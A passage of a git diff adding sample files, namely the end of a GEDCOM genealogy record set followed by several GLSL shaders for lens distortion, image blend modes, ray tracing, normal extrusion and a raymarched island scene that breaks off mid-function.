+1 HUSB @I2982@
+1 WIFE @I2983@
+1 CHIL @I292@
+0 @F1414@ FAM
+1 HUSB @I2985@
+1 WIFE @I243@
+1 CHIL @I2990@
+1 CHIL @I2991@
+1 CHIL @I2992@
+1 CHIL @I2993@
+1 DIV Y
+1 MARR
+2 DATE ABT    1947
+0 @F1415@ FAM
+1 HUSB @I2986@
+1 WIFE @I806@
+1 CHIL @I2989@
+1 CHIL @I3010@
+1 MARR
+2 DATE 28 DEC 1936
+2 PLAC Guildhall,London,England
+0 @F1416@ FAM
+1 HUSB @I2987@
+1 WIFE @I2988@
+1 CHIL @I2986@
+0 @F1417@ FAM
+1 HUSB @I2994@
+1 CHIL @I2985@
+0 @F1418@ FAM
+1 HUSB @I2995@
+1 WIFE @I2996@
+1 CHIL @I806@
+1 CHIL @I2997@
+1 CHIL @I3009@
+1 CHIL @I2998@
+1 MARR
+2 DATE    JUL 1900
+0 @F1419@ FAM
+1 HUSB @I3002@
+1 WIFE @I2999@
+1 CHIL @I3003@
+1 CHIL @I3004@
+1 CHIL @I3005@
+1 CHIL @I2996@
+1 CHIL @I3006@
+0 @F1420@ FAM
+1 WIFE @I3000@
+1 CHIL @I2999@
+0 @F1421@ FAM
+1 HUSB @I3001@
+1 CHIL @I3000@
+0 @F1422@ FAM
+1 HUSB @I3007@
+1 WIFE @I3008@
+1 CHIL @I2995@
+0 TRLR
\ No newline at end of file
diff --git a/samples/GLSL/SyLens.shader b/samples/GLSL/SyLens.shader
new file mode 100644
index 0000000000..7e9ec45622
--- /dev/null
+++ b/samples/GLSL/SyLens.shader
@@ -0,0 +1,161 @@
+#version 120
+
+/*
+  Original Lens Distortion Algorithm from SSontech (Syntheyes)
+  http://www.ssontech.com/content/lensalg.htm
+  
+  r2 is radius squared.
+  
+  r2 = image_aspect*image_aspect*u*u + v*v
+  f = 1 + r2*(k + kcube*sqrt(r2))
+  u' = f*u
+  v' = f*v
+
+*/
+
+// Controls
+uniform float kCoeff, kCube, uShift, vShift;
+uniform float chroma_red, chroma_green, chroma_blue;
+uniform bool apply_disto;
+
+// Uniform inputs
+uniform sampler2D input1;
+uniform float adsk_input1_w, adsk_input1_h, adsk_input1_aspect, adsk_input1_frameratio;
+uniform float adsk_result_w, adsk_result_h;
+
+float distortion_f(float r) {
+    float f = 1 + (r*r)*(kCoeff + kCube * r);
+    return f;
+}
+
+
+float inverse_f(float r)
+{
+    
+    // Build a lookup table on the radius, as a fixed-size table.
+    // We will use a vec3 since we will store the multipled number in the Z coordinate.
+    // So to recap: x will be the radius, y will be the f(x) distortion, and Z will be x * y;
+    vec3[48] lut;
+    
+    // Since out LUT is shader-global check if it's been computed alrite
+    // Flame has no overflow bbox so we can safely max out at the image edge, plus some cushion
+    float max_r = sqrt((adsk_input1_frameratio * adsk_input1_frameratio) + 1) + 0.1;
+    float incr = max_r / 48;
+    float lut_r = 0;
+    float f;
+    for(int i=0; i < 48; i++) {
+        f = distortion_f(lut_r);
+        lut[i] = vec3(lut_r, f, lut_r * f);
+        lut_r += incr;
+    }
+    
+    float t;
+    // Now find the nehgbouring elements
+    // only iterate to 46 since we will need
+    // 47 as i+1
+    for(int i=0; i < 47; i++) {
+        if(lut[i].z < r && lut[i+1].z > r) {
+            // BAM! our value is between these two segments
+            // get the T interpolant and mix
+            t = (r - lut[i].z) / (lut[i+1].z - lut[i]).z;
+            return mix(lut[i].y, lut[i+1].y, t );
+        }
+    }
+}
+
+float aberrate(float f, float chroma)
+{
+   return f + (f * chroma);
+}
+
+vec3 chromaticize_and_invert(float f)
+{
+   vec3 rgb_f = vec3(aberrate(f, chroma_red), aberrate(f, chroma_green), aberrate(f, chroma_blue));
+   // We need to DIVIDE by F when we redistort, and x / y == x * (1 / y)
+   if(apply_disto) {
+      rgb_f = 1 / rgb_f;
+   }
+   return rgb_f;
+}
+
+void main(void)
+{
+   vec2 px, uv;
+   float f = 1;
+   float r = 1;
+   
+   px = gl_FragCoord.xy;
+   
+   // Make sure we are still centered
+   px.x -= (adsk_result_w - adsk_input1_w) / 2;
+   px.y -= (adsk_result_h - adsk_input1_h) / 2;
+   
+   // Push the destination coordinates into the [0..1] range
+   uv.x = px.x / adsk_input1_w;
+   uv.y = px.y / adsk_input1_h;
+   
+       
+   // And to Syntheyes UV which are [1..-1] on both X and Y
+   uv.x = (uv.x *2 ) - 1;
+   uv.y = (uv.y *2 ) - 1;
+   
+   // Add UV shifts
+   uv.x += uShift;
+   uv.y += vShift;
+   
+   // Make the X value the aspect value, so that the X coordinates go to [-aspect..aspect]
+   uv.x = uv.x * adsk_input1_frameratio;
+   
+   // Compute the radius
+   r = sqrt(uv.x*uv.x + uv.y*uv.y);
+   
+   // If we are redistorting, account for the oversize plate in the input, assume that
+   // the input aspect is the same
+   if(apply_disto) {
+       r = r / (float(adsk_input1_w) / float(adsk_result_w));
+   }
+   
+   // Apply or remove disto, per channel honoring chromatic aberration
+   if(apply_disto) {
+      f = inverse_f(r);
+   } else {
+      f = distortion_f(r);
+   }
+   
+   vec2[3] rgb_uvs = vec2[](uv, uv, uv);
+   
+   // Compute distortions per component
+   vec3 rgb_f = chromaticize_and_invert(f);
+   
+   // Apply the disto coefficients, per component
+   rgb_uvs[0] = rgb_uvs[0] * rgb_f.rr;
+   rgb_uvs[1] = rgb_uvs[1] * rgb_f.gg;
+   rgb_uvs[2] = rgb_uvs[2] * rgb_f.bb;
+   
+   // Convert all the UVs back to the texture space, per color component
+   for(int i=0; i < 3; i++) {
+       uv = rgb_uvs[i];
+       
+       // Back from [-aspect..aspect] to [-1..1]
+       uv.x = uv.x / adsk_input1_frameratio;
+       
+       // Remove UV shifts
+       uv.x -= uShift;
+       uv.y -= vShift;
+       
+       // Back to OGL UV
+       uv.x = (uv.x + 1) / 2;
+       uv.y = (uv.y + 1) / 2;
+       
+       rgb_uvs[i] = uv;
+   }
+   
+   // Sample the input plate, per component
+   vec4 sampled;
+   sampled.r = texture2D(input1, rgb_uvs[0]).r;
+   sampled.g = texture2D(input1, rgb_uvs[1]).g;
+   sampled.b = texture2D(input1, rgb_uvs[2]).b;
+   
+   // and assign to the output
+   gl_FragColor.rgba = vec4(sampled.rgb, 1.0 );
+}
\ No newline at end of file
diff --git a/samples/GLSL/blend_120.glslf b/samples/GLSL/blend_120.glslf
new file mode 100644
index 0000000000..6849172882
--- /dev/null
+++ b/samples/GLSL/blend_120.glslf
@@ -0,0 +1,53 @@
+#version 120
+
+#define SCREEN 0
+#define DODGE 1
+#define BURN 2
+#define OVERLAY 3
+#define MULTIPLY 4
+#define ADD 5
+#define DIVIDE 6
+#define GRAIN_EXTRACT 7
+#define GRAIN_MERGE 8
+
+// grayscale
+uniform sampler2D t_Lena;
+// rgba
+uniform sampler2D t_Tint;
+
+uniform int i_Blend;
+
+varying vec2 v_Uv;
+
+void main() {
+    // we sample from both textures using the same uv coordinates. since our
+    // lena image is grayscale, we only get the first component.
+    vec3 lena = vec3(texture2D(t_Lena, v_Uv).r);
+    vec3 tint = texture2D(t_Tint, v_Uv).rgb;
+   
+    vec3 result = vec3(0.0);
+
+    // normally you'd have a shader program per technique, but for the sake of
+    // simplicity we'll just branch on it here.
+    if (i_Blend == SCREEN) {
+        result = vec3(1.0) - ((vec3(1.0) - lena) * (vec3(1.0) - tint));
+    } else if (i_Blend == DODGE) {
+        result = lena / (vec3(1.0) - tint);
+    } else if (i_Blend == BURN) {
+        result = vec3(1.0) - ((vec3(1.0) - lena) / lena);
+    } else if (i_Blend == OVERLAY) {
+        result = lena * (lena + (tint * 2) * (vec3(1.0) - lena));
+    } else if (i_Blend == MULTIPLY) {
+        result = lena * tint;
+    } else if (i_Blend == ADD) {
+        result = lena + tint;
+    } else if (i_Blend == DIVIDE) {
+        result = lena / tint;
+    } else if (i_Blend == GRAIN_EXTRACT) {
+        result = lena - tint + 0.5;
+    } else if (i_Blend == GRAIN_MERGE) {
+        result = lena + tint - 0.5;
+    }
+
+    gl_FragColor = vec4(result, 1.0);
+}
diff --git a/samples/GLSL/closesthit.rchit b/samples/GLSL/closesthit.rchit
new file mode 100644
index 0000000000..bf6e3c1684
--- /dev/null
+++ b/samples/GLSL/closesthit.rchit
@@ -0,0 +1,76 @@
+#version 460
+#extension GL_EXT_ray_tracing : require
+#extension GL_EXT_nonuniform_qualifier : enable
+
+struct RayPayload {
+	vec3 color;
+	float distance;
+	vec3 normal;
+	float reflector;
+};
+
+layout(location = 0) rayPayloadInEXT RayPayload rayPayload;
+
+hitAttributeEXT vec3 attribs;
+
+layout(binding = 0, set = 0) uniform accelerationStructureEXT topLevelAS;
+layout(binding = 2, set = 0) uniform UBO
+{
+	mat4 viewInverse;
+	mat4 projInverse;
+	vec4 lightPos;
+	int vertexSize;
+} ubo;
+layout(binding = 3, set = 0) buffer Vertices { vec4 v[]; } vertices;
+layout(binding = 4, set = 0) buffer Indices { uint i[]; } indices;
+
+struct Vertex
+{
+  vec3 pos;
+  vec3 normal;
+  vec2 uv;
+  vec4 color;
+  vec4 _pad0;
+  vec4 _pad1;
+};
+
+Vertex unpack(uint index)
+{
+	// Unpack the vertices from the SSBO using the glTF vertex structure
+	// The multiplier is the size of the vertex divided by four float components (=16 bytes)
+	const int m = ubo.vertexSize / 16;
+
+	vec4 d0 = vertices.v[m * index + 0];
+	vec4 d1 = vertices.v[m * index + 1];
+	vec4 d2 = vertices.v[m * index + 2];
+
+	Vertex v;
+	v.pos = d0.xyz;
+	v.normal = vec3(d0.w, d1.x, d1.y);
+	v.color = vec4(d2.x, d2.y, d2.z, 1.0);
+
+	return v;
+}
+
+void main()
+{
+	ivec3 index = ivec3(indices.i[3 * gl_PrimitiveID], indices.i[3 * gl_PrimitiveID + 1], indices.i[3 * gl_PrimitiveID + 2]);
+
+	Vertex v0 = unpack(index.x);
+	Vertex v1 = unpack(index.y);
+	Vertex v2 = unpack(index.z);
+
+	// Interpolate normal
+	const vec3 barycentricCoords = vec3(1.0f - attribs.x - attribs.y, attribs.x, attribs.y);
+	vec3 normal = normalize(v0.normal * barycentricCoords.x + v1.normal * barycentricCoords.y + v2.normal * barycentricCoords.z);
+
+	// Basic lighting
+	vec3 lightVector = normalize(ubo.lightPos.xyz);
+	float dot_product = max(dot(lightVector, normal), 0.6);
+	rayPayload.color = v0.color.rgb * vec3(dot_product);
+	rayPayload.distance = gl_RayTmaxEXT;
+	rayPayload.normal = normal;
+
+	// Objects with full white vertex color are treated as reflectors
+	rayPayload.reflector = ((v0.color.r == 1.0f) && (v0.color.g == 1.0f) && (v0.color.b == 1.0f)) ? 1.0f : 0.0f;
+}
diff --git a/samples/GLSL/extrude_normals.gs b/samples/GLSL/extrude_normals.gs
new file mode 100644
index 0000000000..229c8973ef
--- /dev/null
+++ b/samples/GLSL/extrude_normals.gs
@@ -0,0 +1,27 @@
+#version 330 core
+layout(triangles) in;
+layout (line_strip, max_vertices = 6) out;
+
+in VS_OUT
+{
+   vec3 normal;
+}gs_in[];
+
+const float MAGNITUDE = 0.025f;
+
+void GenerateLine(int index)
+{
+    gl_Position = gl_in[index].gl_Position;
+    EmitVertex();
+    gl_Position = gl_in[index].gl_Position + vec4(gs_in[index].normal, 0.0f) * MAGNITUDE;
+    EmitVertex();
+    EndPrimitive();
+}
+
+void main()
+{
+   GenerateLine(0);
+   GenerateLine(1);
+   GenerateLine(2);
+}
+
diff --git a/samples/GLSL/islandScene.shader b/samples/GLSL/islandScene.shader
new file mode 100644
index 0000000000..f417b220d9
--- /dev/null
+++ b/samples/GLSL/islandScene.shader
@@ -0,0 +1,630 @@
+//// High quality (Some browsers may freeze or crash)
+//#define HIGHQUALITY
+
+//// Medium quality (Should be fine on all systems, works on Intel HD2000 on Win7 but quite slow)
+//#define MEDIUMQUALITY
+
+//// Defaults
+//#define REFLECTIONS
+#define SHADOWS
+//#define GRASS
+//#define SMALL_WAVES
+#define RAGGED_LEAVES
+//#define DETAILED_NOISE
+//#define LIGHT_AA // 2 sample SSAA
+//#define HEAVY_AA // 2x2 RG SSAA
+//#define TONEMAP
+
+//// Configurations
+#ifdef MEDIUMQUALITY
+	#define SHADOWS
+	#define SMALL_WAVES
+	#define RAGGED_LEAVES
+	#define TONEMAP
+#endif
+
+#ifdef HIGHQUALITY
+	#define REFLECTIONS
+	#define SHADOWS
+	//#define GRASS
+	#define SMALL_WAVES
+	#define RAGGED_LEAVES
+	#define DETAILED_NOISE
+	#define LIGHT_AA
+	#define TONEMAP
+#endif
+
+// Constants
+const float eps = 1e-5;
+const float PI = 3.14159265359;
+
+const vec3 sunDir = vec3(0.79057,-0.47434, 0.0);
+const vec3 skyCol = vec3(0.3, 0.5, 0.8);
+const vec3 sandCol = vec3(0.9, 0.8, 0.5);
+const vec3 treeCol = vec3(0.8, 0.65, 0.3);
+const vec3 grassCol = vec3(0.4, 0.5, 0.18);
+const vec3 leavesCol = vec3(0.3, 0.6, 0.2);
+const vec3 leavesPos = vec3(-5.1,13.4, 0.0);
+
+#ifdef TONEMAP
+const vec3 sunCol = vec3(1.8, 1.7, 1.6);
+#else
+const vec3 sunCol = vec3(0.9, 0.85, 0.8);
+#endif
+
+const float exposure = 1.1; // Only used when tonemapping
+
+// Description : Array and textureless GLSL 2D/3D/4D simplex
+// noise functions.
+// Author : Ian McEwan, Ashima Arts.
+// License : Copyright (C) 2011 Ashima Arts. All rights reserved.
+// Distributed under the MIT License. See LICENSE file.
+// https://github.com/ashima/webgl-noise
+vec3 mod289(vec3 x) {
+  return x - floor(x * (1.0 / 289.0)) * 289.0;
+}
+
+vec4 mod289(vec4 x) {
+  return x - floor(x * (1.0 / 289.0)) * 289.0;
+}
+
+vec4 permute(vec4 x) {
+     return mod289(((x*34.0)+1.0)*x);
+}
+
+vec4 taylorInvSqrt(vec4 r) {
+  return 1.79284291400159 - 0.85373472095314 * r;
+}
+
+float snoise(vec3 v) {
+  const vec2 C = vec2(1.0/6.0, 1.0/3.0) ;
+  const vec4 D = vec4(0.0, 0.5, 1.0, 2.0);
+
+// First corner
+  vec3 i = floor(v + dot(v, C.yyy) );
+  vec3 x0 = v - i + dot(i, C.xxx) ;
+
+// Other corners
+  vec3 g = step(x0.yzx, x0.xyz);
+  vec3 l = 1.0 - g;
+  vec3 i1 = min( g.xyz, l.zxy );
+  vec3 i2 = max( g.xyz, l.zxy );
+
+  // x0 = x0 - 0.0 + 0.0 * C.xxx;
+  // x1 = x0 - i1 + 1.0 * C.xxx;
+  // x2 = x0 - i2 + 2.0 * C.xxx;
+  // x3 = x0 - 1.0 + 3.0 * C.xxx;
+  vec3 x1 = x0 - i1 + C.xxx;
+  vec3 x2 = x0 - i2 + C.yyy; // 2.0*C.x = 1/3 = C.y
+  vec3 x3 = x0 - D.yyy; // -1.0+3.0*C.x = -0.5 = -D.y
+
+// Permutations
+  i = mod289(i);
+  vec4 p = permute( permute( permute(
+             i.z + vec4(0.0, i1.z, i2.z, 1.0 ))
+           + i.y + vec4(0.0, i1.y, i2.y, 1.0 ))
+           + i.x + vec4(0.0, i1.x, i2.x, 1.0 ));
+
+// Gradients: 7x7 points over a square, mapped onto an octahedron.
+// The ring size 17*17 = 289 is close to a multiple of 49 (49*6 = 294)
+  float n_ = 0.142857142857; // 1.0/7.0
+  vec3 ns = n_ * D.wyz - D.xzx;
+
+  vec4 j = p - 49.0 * floor(p * ns.z * ns.z); // mod(p,7*7)
+
+  vec4 x_ = floor(j * ns.z);
+  vec4 y_ = floor(j - 7.0 * x_ ); // mod(j,N)
+
+  vec4 x = x_ *ns.x + ns.yyyy;
+  vec4 y = y_ *ns.x + ns.yyyy;
+  vec4 h = 1.0 - abs(x) - abs(y);
+
+  vec4 b0 = vec4( x.xy, y.xy );
+  vec4 b1 = vec4( x.zw, y.zw );
+
+  //vec4 s0 = vec4(lessThan(b0,0.0))*2.0 - 1.0;
+  //vec4 s1 = vec4(lessThan(b1,0.0))*2.0 - 1.0;
+  vec4 s0 = floor(b0)*2.0 + 1.0;
+  vec4 s1 = floor(b1)*2.0 + 1.0;
+  vec4 sh = -step(h, vec4(0.0));
+
+  vec4 a0 = b0.xzyw + s0.xzyw*sh.xxyy ;
+  vec4 a1 = b1.xzyw + s1.xzyw*sh.zzww ;
+
+  vec3 p0 = vec3(a0.xy,h.x);
+  vec3 p1 = vec3(a0.zw,h.y);
+  vec3 p2 = vec3(a1.xy,h.z);
+  vec3 p3 = vec3(a1.zw,h.w);
+
+//Normalise gradients
+  vec4 norm = taylorInvSqrt(vec4(dot(p0,p0), dot(p1,p1), dot(p2, p2), dot(p3,p3)));
+  p0 *= norm.x;
+  p1 *= norm.y;
+  p2 *= norm.z;
+  p3 *= norm.w;
+
+// Mix final noise value
+  vec4 m = max(0.6 - vec4(dot(x0,x0), dot(x1,x1), dot(x2,x2), dot(x3,x3)), 0.0);
+  m = m * m;
+  return 42.0 * dot( m*m, vec4( dot(p0,x0), dot(p1,x1),
+                                dot(p2,x2), dot(p3,x3) ) );
+}
+
+
+
+// Main
+float fbm(vec3 p)
+{
+	float final = snoise(p); 
+	p *= 1.94; final += snoise(p) * 0.5;
+	#ifdef DETAILED_NOISE
+	p *= 3.75; final += snoise(p) * 0.25;
+	return final / 1.75;
+	#else
+	return final / 1.5;
+	#endif
+}
+
+float waterHeight(vec3 p)
+{
+	float d = length(p.xz);
+	float h = sin(d * 1.5 + iGlobalTime * 3.0) * 12.0 / d; // Island waves
+	#ifdef SMALL_WAVES
+	h += fbm(p*0.5); // Other waves
+	#endif
+	return h;
+}
+
+vec3 bump(vec3 pos, vec3 rayDir)
+{
+	float s = 2.0;
+	
+	// Fade out waves to reduce aliasing
+	float dist = dot(pos, rayDir);
+	s *= dist < 2.0 ? 1.0 : 1.4142 / sqrt(dist);
+	
+	// Calculate normal from heightmap
+	vec2 e = vec2(1e-2, 0.0);
+	vec3 p = vec3(pos.x, iGlobalTime*0.5, pos.z)*0.7;
+	float m = waterHeight(p)*s;
+	return normalize(vec3(
+		waterHeight(p+e.xyy)*s-m,
+		1.0,
+		waterHeight(p+e.yxy)*s-m
+	));
+}
+
+// Ray intersections
+vec4 intersectSphere(vec3 rpos, vec3 rdir, vec3 pos, float rad)
+{
+	vec3 op = pos - rpos;
+	float b = dot(op, rdir); 
+	float det = b*b - dot(op, op) + rad*rad; 
+		
+	if (det > 0.0)
+	{
+		det = sqrt(det);
+		float t = b - det;
+		if (t > eps)
+			return vec4(-normalize(rpos+rdir*t-pos), t);
+	}
+	
+	return vec4(0.0);
+}
+
+vec4 intersectCylinder(vec3 rpos, vec3 rdir, vec3 pos, float rad)
+{
+	vec3 op = pos - rpos;
+	vec2 rdir2 = normalize(rdir.yz);
+	float b = dot(op.yz, rdir2);
+	float det = b*b - dot(op.yz, op.yz) + rad*rad; 
+	
+	if (det > 0.0)
+	{
+		det = sqrt(det);
+		float t = b - det;
+		if (t > eps)
+			return vec4(-normalize(rpos.yz+rdir2*t-pos.yz), 0.0, t);
+		t = b + det;
+		if (t > eps)
+			return vec4(-normalize(rpos.yz+rdir2*t-pos.yz), 0.0, t);
+	}
+	
+	return vec4(0.0);
+}
+
+vec4 intersectPlane(vec3 rayPos, vec3 rayDir, vec3 n, float d)
+{
+	float t = -(dot(rayPos, n) + d) / dot(rayDir, n);
+	return vec4(n * sign(dot(rayDir, n)), t);
+}
+
+// Helper functions
+vec3 rotate(vec3 p, float theta)
+{
+	float c = cos(theta), s = sin(theta);
+	return vec3(p.x * c + p.z * s, p.y,
+				p.z * c - p.x * s);
+}
+
+float impulse(float k, float x) // by iq
+{
+    float h = k*x;
+    return h * exp(1.0 - h);
+}
+
+// Raymarched parts of scene
+float grass(vec3 pos)
+{
+	float h = length(pos - vec3(0.0, -7.0, 0.0)) - 8.0;
+	
+	if (h > 2.0) return h; // Optimization (Avoid noise if too far away)
+	
+	return h + snoise(pos * 3.0) * 0.1 + pos.y * 0.9;
+}
+
+float tree(vec3 pos)
+{
+	pos.y -= 0.5;
+	float s = sin(pos.y*0.03);
+	float c = cos(pos.y*0.03);
+	mat2 m = mat2(c, -s, s, c);
+	vec3 p = vec3(m*pos.xy, pos.z);
+	
+	float width = 1.0 - pos.y * 0.02 - clamp(sin(pos.y * 8.0) * 0.1, 0.05, 0.1);
+	
+	return max(length(p.xz) - width, pos.y - 12.5);
+}
+
+vec2 scene(vec3 pos)
+{
+	float vtree = tree(pos);
+	#ifdef GRASS
+	float vgrass = grass(pos);
+	float v = min(vtree, vgrass);
+	#else
+	float v = vtree;
+	#endif
+	return vec2(v, v == vtree ? 2.0 : 1.0);
+}
+
+vec3 normal(vec3 pos)
+{
+	vec2 eps = vec2(1e-3, 0.0);
+	float h = scene(pos).x;
+	return normalize(vec3(
+		scene(pos-eps.xyy).x-h,
+		scene(pos-eps.yxy).x-h,
+		scene(pos-eps.yyx).x-h
+	));
+}
+
+float plantsShadow(vec3 rayPos, vec3 rayDir)
+{
+	// Soft shadow taken from iq
+	float k = 6.0;
+	float t = 0.0;
+	float s = 1.0;	
+	for (int i = 0; i < 30; i++)
+	{
+		vec3 pos = rayPos+rayDir*t;	
+		vec2 res = scene(pos);		
+		if (res.x < 0.001) return 0.0;
+		s = min(s, k*res.x/t); 
+		t += max(res.x, 0.01);
+	}
+	
+	return s*s*(3.0 - 2.0*s);
+}
+
+// Ray-traced parts of scene
+vec4 intersectWater(vec3 rayPos, vec3 rayDir)
+{
+	float h = sin(20.5 + iGlobalTime * 2.0) * 0.03;
+	float t = -(rayPos.y + 2.5 + h) / rayDir.y;
+	return vec4(0.0, 1.0, 0.0, t);
+}
+
+vec4 intersectSand(vec3 rayPos, vec3 rayDir)
+{
+	return intersectSphere(rayPos, rayDir, vec3(0.0,-24.1,0.0), 24.1);
+}
+
+vec4 intersectTreasure(vec3 rayPos, vec3 rayDir)
+{
+	return vec4(0.0);
+}
+
+vec4 intersectLeaf(vec3 rayPos, vec3 rayDir, float openAmount)
+{	
+	vec3 dir = normalize(vec3(0.0, 1.0, openAmount));
+	float offset = 0.0;
+			
+	vec4 res = intersectPlane(rayPos, rayDir, dir, 0.0);
+	vec3 pos = rayPos+rayDir*res.w;
+	#ifdef RAGGED_LEAVES
+	offset = snoise(pos*0.8) * 0.3;
+	#endif
+	if (pos.y > 0.0 || length(pos * vec3(0.9, 2.0, 1.0)) > 4.0 - offset) res.w = 0.0;
+	
+	vec4 res2 = intersectPlane(rayPos, rayDir, vec3(dir.xy, -dir.z), 0.0);
+	pos = rayPos+rayDir*res2.w;
+	#ifdef RAGGED_LEAVES
+	offset = snoise(pos*0.8) * 0.3;
+	#endif
+	if (pos.y > 0.0 || length(pos * vec3(0.9, 2.0, 1.0)) > 4.0 - offset) res2.w = 0.0;
+	
+	if (res2.w > 0.0 && res2.w < res.w || res.w <= 0.0)
+		res = res2;
+		
+	return res;
+}
+
+vec4 leaves(vec3 rayPos, vec3 rayDir)
+{
+	float t = 1e20;
+	vec3 n = vec3(0.0);
+	
+	rayPos -= leavesPos;
+	
+	float sway = impulse(15.0, fract(iGlobalTime / PI * 0.125));
+	float upDownSway = sway * -sin(iGlobalTime) * 0.06;
+	float openAmount = sway * max(-cos(iGlobalTime) * 0.4, 0.0);
+	
+	float angleOffset = -0.1;	
+	for (float k = 0.0; k < 6.2; k += 0.75)
+	{
+		// Left-right
+		float alpha = k + (k - PI) * sway * 0.015;
+		vec3 p = rotate(rayPos, alpha);
+		vec3 d = rotate(rayDir, alpha);
+		
+		// Up-down
+		angleOffset *= -1.0;
+		float theta = -0.4 + 
+			angleOffset + 
+			cos(k) * 0.35 + 
+			upDownSway + 
+			sin(iGlobalTime+k*10.0) * 0.03 * (sway + 0.2);
+		
+		p = rotate(p.xzy, theta).xzy;
+		d = rotate(d.xzy, theta).xzy;
+	
+		// Shift
+		p -= vec3(5.4, 0.0, 0.0);
+		
+		// Intersect individual leaf
+		vec4 res = intersectLeaf(p, d, 1.0+openAmount);
+		if (res.w > 0.0 && res.w < t)
+		{
+			t = res.w;
+			n = res.xyz;
+		}
+	}
+	
+	return vec4(n, t);
+}
+
+// Lighting
+float shadow(vec3 rayPos, vec3 rayDir)
+{	
+	float s = 1.0;
+	
+	// Intersect sand
+	//vec4 resSand = intersectSand(rayPos, rayDir);
+	//if (resSand.w > 0.0) return 0.0;
+	
+	// Intersect plants
+	s = min(s, plantsShadow(rayPos, rayDir));
+	if (s < 0.0001) return 0.0;
+	
+	// Intersect leaves
+	vec4 resLeaves = leaves(rayPos, rayDir);
+	if (resLeaves.w > 0.0 && resLeaves.w < 1e7) return 0.0;
+	
+	return s;
+}
+
+vec3 light(vec3 p, vec3 n)
+{
+	float s = 1.0;
+	
+	#ifdef SHADOWS
+	s = shadow(p-sunDir*0.01, -sunDir);
+	#endif
+	
+	vec3 col = sunCol * min(max(dot(n, sunDir), 0.0), s);
+	col += skyCol * (-n.y * 0.5 + 0.5) * 0.3;
+	return col;
+}
+
+vec3 lightLeaves(vec3 p, vec3 n)
+{
+	float s = 1.0;
+	
+	#ifdef SHADOWS
+	s = shadow(p-sunDir*0.01, -sunDir);
+	#endif
+	
+	float ao = min(length(p - leavesPos) * 0.1, 1.0);
+	
+	float ns = dot(n, sunDir);
+	float d = sqrt(max(ns, 0.0));
+	vec3 col = sunCol * min(d, s);
+	col += sunCol * max(-ns, 0.0) * vec3(0.3, 0.3, 0.1) * ao;
+	col += skyCol * (-n.y * 0.5 + 0.5) * 0.3 * ao;
+	return col;
+}
+
+vec3 sky(vec3 n)
+{
+	return skyCol * (1.0 - n.y * 0.8);
+}
+
+// Ray-marching
+vec4 plants(vec3 rayPos, vec3 rayDir)
+{
+	float t = 0.0;
+	
+	for (int i = 0; i < 40; i++)
+	{
+		vec3 pos = rayPos+rayDir*t;	
+		vec2 res = scene(pos);
+		float h = res.x;
+		
+		if (h < 0.001)
+		{
+			vec3 col = res.y == 2.0 ? treeCol : grassCol;
+			float uvFact = res.y == 2.0 ? 1.0 : 10.0;
+			
+			vec3 n = normal(pos);
+			vec2 uv = vec2(n.x, pos.y * 0.5) * 0.2 * uvFact;
+			vec3 tex = texture2D(iChannel0, uv).rgb * 0.6 + 0.4;
+			float ao = min(length(pos - leavesPos) * 0.1, 1.0);
+			return vec4(col * light(pos, n) * ao * tex, t);
+		}
+		
+		t += h;
+	}
+	
+	return vec4(sky(rayDir), 1e8);
+}
+
+// Final combination
+vec3 traceReflection(vec3 rayPos, vec3 rayDir)
+{
+	vec3 col = vec3(0.0);
+	float t = 1e20;
+			
+	// Intersect plants
+	vec4 resPlants = plants(rayPos, rayDir);
+	if (resPlants.w > 0.0 && resPlants.w < t)
+	{
+		t = resPlants.w;
+		col = resPlants.xyz;
+	}
+	
+	// Intersect leaves
+	vec4 resLeaves = leaves(rayPos, rayDir);
+	if (resLeaves.w > 0.0 && resLeaves.w < t)
+	{
+		vec3 pos = rayPos + rayDir * resLeaves.w;
+		vec2 uv = (pos.xz - leavesPos.xz) * 0.3;
+		float tex = texture2D(iChannel0, uv).r * 0.6 + 0.5;
+		
+		t = resLeaves.w;
+		col = leavesCol * lightLeaves(pos, resLeaves.xyz) * tex;
+	}
+		
+	if (t > 1e7) return sky(rayDir);
+	
+	return col;
+}
+
+vec3 trace(vec3 rayPos, vec3 rayDir)
+{
+	vec3 col = vec3(0.0);
+	float t = 1e20;
+	
+	// Intersect sand
+	vec4 resSand = intersectSand(rayPos, rayDir);
+	if (resSand.w > 0.0)
+	{
+		vec3 pos = rayPos + rayDir * resSand.w;
+		t = resSand.w;
+
+		col = sandCol * light(pos, resSand.xyz);
+	}
+	
+	// Intersect treasure chest
+	vec4 resTreasure = intersectTreasure(rayPos, rayDir);
+	if (resTreasure.w > 0.0 && resTreasure.w < t)
+	{
+		vec3 pos = rayPos + rayDir * resTreasure.w;
+		t = resTreasure.w;
+		col = leavesCol * light(pos, resTreasure.xyz);
+	}
+	
+	// Intersect leaves
+	vec4 resLeaves = leaves(rayPos, rayDir);
+	if (resLeaves.w > 0.0 && resLeaves.w < t)
+	{
+		vec3 pos = rayPos + rayDir * resLeaves.w;
+		vec2 uv = (pos.xz - leavesPos.xz) * 0.3;
+		float tex = texture2D(iChannel0, uv).r * 0.6 + 0.5;
+		
+		t = resLeaves.w;
+		col = leavesCol * lightLeaves(pos, resLeaves.xyz) * tex;
+	}
+	
+	// Intersect plants
+	vec4 resPlants = plants(rayPos, rayDir);
+	if (resPlants.w > 0.0 && resPlants.w < t)
+	{
+		t = resPlants.w;
+		col = resPlants.xyz;
+	}
+		
+	// Intersect water	
+	vec4 resWater = intersectWater(rayPos, rayDir);
+	if (resWater.w > 0.0 && resWater.w < t)
+	{
+		vec3 pos = rayPos + rayDir * resWater.w;
+		float dist = t - resWater.w;
+		vec3 n = bump(pos, rayDir);
+		
+		float ct = -min(dot(n,rayDir), 0.0);
+		float fresnel = 0.9 - 0.9 * pow(1.0 - ct, 5.0);
+		
+		vec3 trans = col * exp(-dist * vec3(1.0, 0.7, 0.4) * 3.0);
+		vec3 reflDir = normalize(reflect(rayDir, n));
+		vec3 refl = sky(reflDir);
+		
+		#ifdef REFLECTIONS
+		if (dot(pos, rayDir) < -2.0)
+			refl = traceReflection(pos, reflDir).rgb;
+		#endif
+				
+		t = resWater.t;
+		col = mix(refl, trans, fresnel);
+	}
+	
+	if (t > 1e7) return sky(rayDir);
+	
+	return col;
+}
+
+// Ray-generation
+vec3 camera(vec2 px)
+{
+	vec2 rd = (px / iResolution.yy - vec2(iResolution.x/iResolution.y*0.5-0.5, 0.0)) * 2.0 - 1.0;
+	float t = sin(iGlobalTime * 0.1) * 0.2;
+	vec3 rayDir = normalize(vec3(rd.x, rd.y, 1.0));
+	vec3 rayPos = vec3(0.0, 3.0, -18.0);
+	return trace(rayPos, rayDir);
+}
+
+void main(void)
+{
